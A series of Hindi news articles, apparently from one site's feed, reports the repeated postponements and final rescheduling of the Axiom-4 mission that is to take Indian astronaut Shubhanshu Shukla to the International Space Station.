NASA ने अपने बयान में कहा है कि एक्सिओम मिशन को अब 25 जून को सुबह 2:31 बजे EDT (पूर्वी डेलाइट टाइम) पर इंटरनेशनल स्पेस स्टेशन के लिए लॉन्च किया जाएगा। यानी भारत के शुभांशु शुक्ला को ले जाने वाला अंतरिक्ष दल बुधवार की दोपहर 12:10 बजे (भारतीय मानक समय) पर उड़ान भर सकता है।

लॉन्चिंग के अगले दिन करेगा डॉक

यह मिशन NASA के केनेडी स्पेस सेंटर, फ्लोरिडा से लॉन्च होगा। अंतरिक्ष एजेंसी ने आगे कहा कि क्रू स्पेसएक्स के फाल्कन 9 रॉकेट पर एक नए स्पेसएक्स ड्रैगन अंतरिक्ष यान में परिक्रमा प्रयोगशाला तक जाएगा। डॉकिंग का समय 26 जून (गुरुवार) को लगभग 7 बजे निर्धारित किया गया है। NASA जल्द ही अधिक जानकारी शेयर करेगा।
किस देश से किसे किया गया शामिल?

एक्सिओम-4 मिशन एक निजी अंतरिक्ष यात्री मिशन है। इस मिशन में अमेरिका से डॉ. पेगी व्हिटसन मिशन कमांडर हैं। पोलैंड से स्लावोज उज्नान्स्की-विस्निएव्स्की और हंगरी से टिबोर कापू (दोनों मिशन विशेषज्ञ) शामिल हैं। ग्रुप कैप्टन शुभांशु शुक्ला को पायलट बनाया गया है।

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शुभांशु को अंतरिक्ष ले जाने वाला मिशन एक बार फिर टला, ISS पर सुरक्षा जांच के चलते पोस्टपोन हुआ, नई तारीख का ऐलान नहीं https://pratyushaashakinayikiran.com/?p=165261 Fri, 20 Jun 2025 10:57:00 +0000 https://pratyushaashakinayikiran.com/?p=165261 नई दिल्ली

भारतीय वायुसेना के ग्रुप कैप्टन शुभांशु शुक्ला की स्पेस जाने की तारीख बार-बार चल रही है। शुभांशु शुक्ला समेत चार लोगों को अंतरराष्ट्रीय स्पेस स्टेशन (ISS) तक ले जाने वाला एक्सिओम-4 मिशन एक बार फिर टाल दिया गया है। अब 22 जून को शुभांशु शुक्ला उड़ान भरने वाले थे, लेकिन तकीनी खराबी के चलते एक बार फिर इस लॉन्च को आगे बढ़ा दिया गया है। बता दे कि शुभांशु शुक्ला लंबे समय से अंतरिक्ष में उड़ान भरने का इंतजार कर रहे हैं, लेकिन तकीनी खराबी के चलते बार-बार मिशन की तारीख को आगे बढ़ाया जा रहा है।

अंतरराष्ट्रीय स्पेस स्टेशन के आधिकारिक एक्स हैंडल से इसकी जानकारी दी। नासा ने यह फैसला इंटरनेशनल स्पेस स्टेशन के लॉन्च अपॉर्चुनिटीज की समीक्षा के बाद लिया है। नासा इसकी लगातार समीक्षा जारी रखे हुए है। जिसके बाद रविवार, 22 जून को प्रक्षेपण से पीछे हटने का फैसला लिया गया है। आने वाले दिनों में लॉन्च की नई तारीख का ऐलान किया जाएगा। हालांकि अब तक यह तय नहीं है।

मिशन में देरी की वजह

नासा ने बताया कि ISS के ज्वेज्दा सर्विस मॉड्यूल में हाल ही में हुई मरम्मत के बाद संचालन की जांच जारी है। स्टेशन की प्रणालियां एक-दूसरे से गहराई से जुड़ी होती हैं, ऐसे में किसी भी संभावित दिक्कत से बचने के लिए नासा कोई जल्दबाज़ी नहीं करना चाहता। विशेषज्ञ मानते हैं कि स्टेशन को नए यात्रियों के स्वागत के लिए पूरी तरह से तैयार करना जरूरी है, इसलिए लॉन्च को कुछ समय के लिए टालना पड़ा है।

बार-बार टल रही लॉन्चिंग डेट

एक्सिओम-4 मिशन को पहले भी कई बार टाला जा चुका है। एक्सिोम मिशन 4 की लॉन्चिंग डेट को सातवीं बार टाला गया है। इस मिशन के लिए अंतरिक्ष यात्रियों को 29 मई को उड़ान भरनी थी। जिसे बाद में 8 जून, 10 जून और 11 जून, 19 जून को टाल दिया गया था। हालांकि, अब 22 जून को लॉन्चिंग होने वाली थी, लेकिन इसको एक बार फिर टाल दिया गया है। लगातार रुकावटों के बावजूद, रॉकेट और ड्रैगन यान लॉन्च कॉम्प्लेक्स 39A में अच्छी स्थिति में मौजूद हैं और नई तारीख की घोषणा जल्द की जाएगी।

अंतरिक्ष मिशन में शामिल होंगे 4 यात्री

नासा के पूर्व अंतरिक्ष यात्री और एक्सिओम स्पेस में मानव अंतरिक्ष उड़ान के डायरेक्टर पैगी व्हिटसन इस मिशन की कमान संभालेंगे। इसरो के अंतरिक्ष यात्री शुभांशु शुक्ला पायलट के रूप में काम करेंगे, जिससे वो 1984 में विंग कमांडर राकेश शर्मा के इतिहास रचने के लगभग चार दशक बाद अंतरिक्ष में जाने वाले दूसरे भारतीय बन जाएंगे।

दो मिशन विशेषज्ञ ईएसए (यूरोपीय अंतरिक्ष एजेंसी) प्रोजेक्ट के अंतरिक्ष यात्री पोलैंड के स्लावोज़ उज़्नानस्की-विस्निवस्की और हंगरी के टिबोर कापू भी इस मिशन का हिस्सा हैं।

 

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ISRO ने दी गुड न्यूज़, अंतरिक्ष यात्रा पर जाएंगे शुभांशु शुक्ला; नई तारीख की घोषणा https://pratyushaashakinayikiran.com/?p=163804 Sat, 14 Jun 2025 12:37:00 +0000 https://pratyushaashakinayikiran.com/?p=163804 नई दिल्ली

भारतीय वायुसेना के पायलट और इसरो के नए नवेले अंतरिक्ष यात्री शुभांशु शुक्ला अब 19 जून 2025 को अंतरिक्ष के लिए रवाना होंगे। Ax-04 मिशन की लॉन्चिंग की नई तारीख की आधिकारिक पुष्टि की गई है। इसे पहले अनिश्चितकाल के लिए स्थगित कर दिया गया था। इसे फ्लोरिडा स्थित NASA के केनेडी स्पेस सेंटर से लॉन्च किया जाएगा। आपको बता दें कि यह Axiom Space, SpaceX और ISRO का संयुक्त मिशन है। इसके साथ ही शुभांशु शुक्ला अंतरराष्ट्रीय अंतरिक्ष स्टेशन (ISS) की यात्रा करने वाले भारत के चुनिंदा अंतरिक्ष यात्रियों में शामिल हो जाएंगे।

लिक्विड ऑक्सीजन लीक की समस्या हल

पिछले हफ्ते, 10 जून 2025 को Axiom-4 मिशन की शुरुआत टल गई थी, क्योंकि फाल्कन 9 रॉकेट में लिक्विड ऑक्सीजन लीक मिला था. यह लीक रॉकेट के बूस्टर में पाया गया था, जिससे लॉन्च को रोकना पड़ा. ISRO, Axiom Space और SpaceX के विशेषज्ञों ने मिलकर इस समस्या को सुलझाया. 

बैठक में बताया गया कि लीक की मरम्मत पूरी हो गई है. रॉकेट के बूस्टर को फिर से जांचा गया और अब यह सुरक्षित है. ISRO के चेयरमैन ने इस फैसले की तारीफ की और कहा कि सुरक्षा पहले है. इसके बाद, टीम ने मिशन को फिर से शुरू करने की योजना बनाई.

Zvezda सर्विस मॉड्यूल की जांच

दूसरी ओर, Axiom Space ने NASA के साथ मिलकर अंतरराष्ट्रीय अंतरिक्ष स्टेशन (ISS) पर Zvezda सर्विस मॉड्यूल में एक दबाव की असामान्यता (pressure anomaly) की जांच शुरू की है. यह मॉड्यूल रूस का हिस्सा है. हाल ही में इसकी मरम्मत की गई थी. 

इससे पहले Falcon 9 रॉकेट में लिक्विड ऑक्सीजन लीकेज की समस्या सामने आई थी, जिसे SpaceX के इंजीनियरों ने अब पूरी तरह ठीक कर दिया है। इसरो, Axiom Space और SpaceX के बीच हुई एक महत्वपूर्ण बैठक में तकनीकी पहलुओं की समीक्षा के बाद मिशन को हरी झंडी दी गई।
अंतरिक्ष में भारत के प्रयोग

इस मिशन के दौरान शुभांशु शुक्ला भारत द्वारा डिजाइन किए गए सात वैज्ञानिक प्रयोग करेंगे और NASA के साथ संयुक्त शोध में भी भाग लेंगे। यह भारत के मानव अंतरिक्ष मिशन कार्यक्रम के लिए एक बड़ा कदम माना जा रहा है।

Axiom Space और NASA फिलहाल अंतरराष्ट्रीय अंतरिक्ष स्टेशन के Zvezda सर्विस मॉड्यूल में सामने आई दबाव असमान्यता (pressure anomaly) की निगरानी कर रहे हैं। हालांकि यह समस्या Ax-04 मिशन से संबंधित नहीं है, लेकिन अंतरराष्ट्रीय सहयोग और सुरक्षा के महत्व को रेखांकित करती है। Ax-04 मिशन Axiom Space की उस दीर्घकालिक योजना का हिस्सा है, जिसके तहत वे दुनिया का पहला कॉमर्सियल अंतरिक्ष स्टेशन विकसित करने की दिशा में काम कर रहे हैं।

Axiom Space ने कहा कि वे NASA के साथ मिलकर इस समस्या का हल निकाल रहे हैं. यह जांच मिशन की सुरक्षा के लिए जरूरी है. अभी तक कोई बड़ा खतरा नहीं है, लेकिन सावधानी बरती जा रही है.

Ax-04 मिशन की नई तारीख: 19 जून 2025

Axiom Space ने अब Ax-04 मिशन के लिए नई लॉन्च तारीख 19 जून 2025 तय की है. यह मिशन भारतीय अंतरिक्ष यात्री शुभांशु शुक्ला सहित चार लोगों को ISS पर ले जाएगा. लॉन्च फ्लोरिडा के केनेडी स्पेस सेंटर से होगा. 
फाल्कन 9 रॉकेट और ड्रैगन अंतरिक्ष यान का इस्तेमाल होगा. मिशन में वैज्ञानिक प्रयोग और अंतरिक्ष में मानव जीवन का अध्ययन शामिल है. शुभांशु शुक्ला भारत के पहले गगनयात्री होंगे, जो इस मिशन के जरिए अंतरिक्ष में जाएंगे.

हाल की चुनौतियां और सफलता

इससे पहले, Ax-04 मिशन की शुरुआत कई बार टली. मई 2025 में खराब मौसम और जून में लिक्विड ऑक्सीजन लीक के कारण देरी हुई. लेकिन अब टीम का कहना है कि सारी समस्याएं हल हो गई हैं. SpaceX ने कहा कि वे रेंज की उपलब्धता के बाद नई तारीख की पुष्टि करेंगे. ISRO ने भी इस मिशन में तकनीकी सहायता दी है, जो भारत के अंतरिक्ष कार्यक्रम के लिए गर्व की बात है.

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फिर टला शुभांशु शुक्ला का अंतरिक्ष मिशन, लिक्विड ऑक्सीजन लीक के चलते Axiom-4 मिशन पर लगा ब्रेक https://pratyushaashakinayikiran.com/?p=162918 Wed, 11 Jun 2025 07:26:00 +0000 https://pratyushaashakinayikiran.com/?p=162918 नई दिल्ली

भारतीय अंतरिक्ष यात्री शुंभाशु शुक्ला का Axiom-4 मिशन एक बार फिर टल गया है. 'स्टैटिक फायर' परीक्षण के बाद बूस्टर की जांच के दौरान लिक्विड ऑक्सीजन (LOx) रिसाव का पता चलने के बाद मिशन पर ब्रेक लगाने का निर्णय लिया गया. इस मिशन के तहत भारतीय वायुसेना के ग्रुप कैप्टन शुभांशु शुक्ला को ISS भेजा जाना था.

स्पेसएक्स ने इंटरनेशनल स्पेस स्टेशन (ISS) के लिए निर्धारित Axiom-4 मिशन का लॉन्च स्थगित किए जाने की पुष्टि की है. शुभांशु को लेकर Axiom-4 मिशन बुधवार शाम 5.30 बजे लॉन्च होने वाला था. Axiom-4 मिशन में भारत, पोलैंड और हंगरी के अंतरिक्ष यात्री शामिल हैं.

स्पेसएक्स ने X पर पोस्ट करते हुए लिखा, Ax-4 मिशन के लिए फाल्कन 9 रॉकेट का कल होने वाला लॉन्च स्थगित किया जा रहा है ताकि स्पेसएक्स की टीमें LOx रिसाव को ठीक कर सकें. कंपनी ने आगे कहा कि मरम्मत पूरी होने और रेंज की उपलब्धता के आधार पर नई लॉन्च तारीख शेयर की जाएगी.

इससे पहले स्पेसएक्स ने एक बयान में कहा था, ''लॉन्च के लिए मौसम की अनुकूलता 85 प्रतिशत है. हालांकि एसेंट कॉरिडोर (चढ़ाई मार्ग) में तेज हवाओं की निगरानी जारी है.''

शुभांशु को 2023 में अमेरिका की यात्रा के दौरान प्रधानमंत्री नरेंद्र मोदी ने Ax-4 मिशन के लिए चुना था. यह मिशन भारत और नासा के बीच सहयोग का परिणाम है. शुभांशु ने स्पेसएक्स और एक्सिओम स्पेस से विशेष ट्रेनिंग ली है.

यह चौथी बार है जब Axiom-4 मिशन को टाला गया है. कुछ दिन पहले भी लॉन्च को टालना पड़ा था. उस समय मौसम की स्थिति अनुकूल नहीं थी और बारिश की 45 प्रतिशत संभावना थी. तेज हवाएं लॉन्च साइट पर रिपोर्ट की गई थीं.

एक बार लॉन्च होने के बाद Ax-4 मिशन के अंतर्गत अंतरिक्ष यात्री लगभग 14 दिन अंतरराष्ट्रीय अंतरिक्ष स्टेशन पर बिताएंगे. इस दौरान वे माइक्रोग्रैविटी, जीवन विज्ञान और Material साइंस से जुड़े कई वैज्ञानिक प्रयोग करेंगे. ये प्रयोग दुनियाभर के 30 से ज्यादा देशों के शोधकर्ताओं के सहयोग से किए जाएंगे.

यह मिशन ना सिर्फ भारत के अंतरिक्ष कार्यक्रम में एक मील का पत्थर है, बल्कि यह राकेश शर्मा के 1984 के ऐतिहासिक मिशन की याद दिलाता है. शुभांशु शुक्ला भारतीय वायु सेना के ग्रुप कैप्टन हैं और गगनयान कार्यक्रम के चार अंतरिक्ष यात्रियों में से एक हैं. 

 

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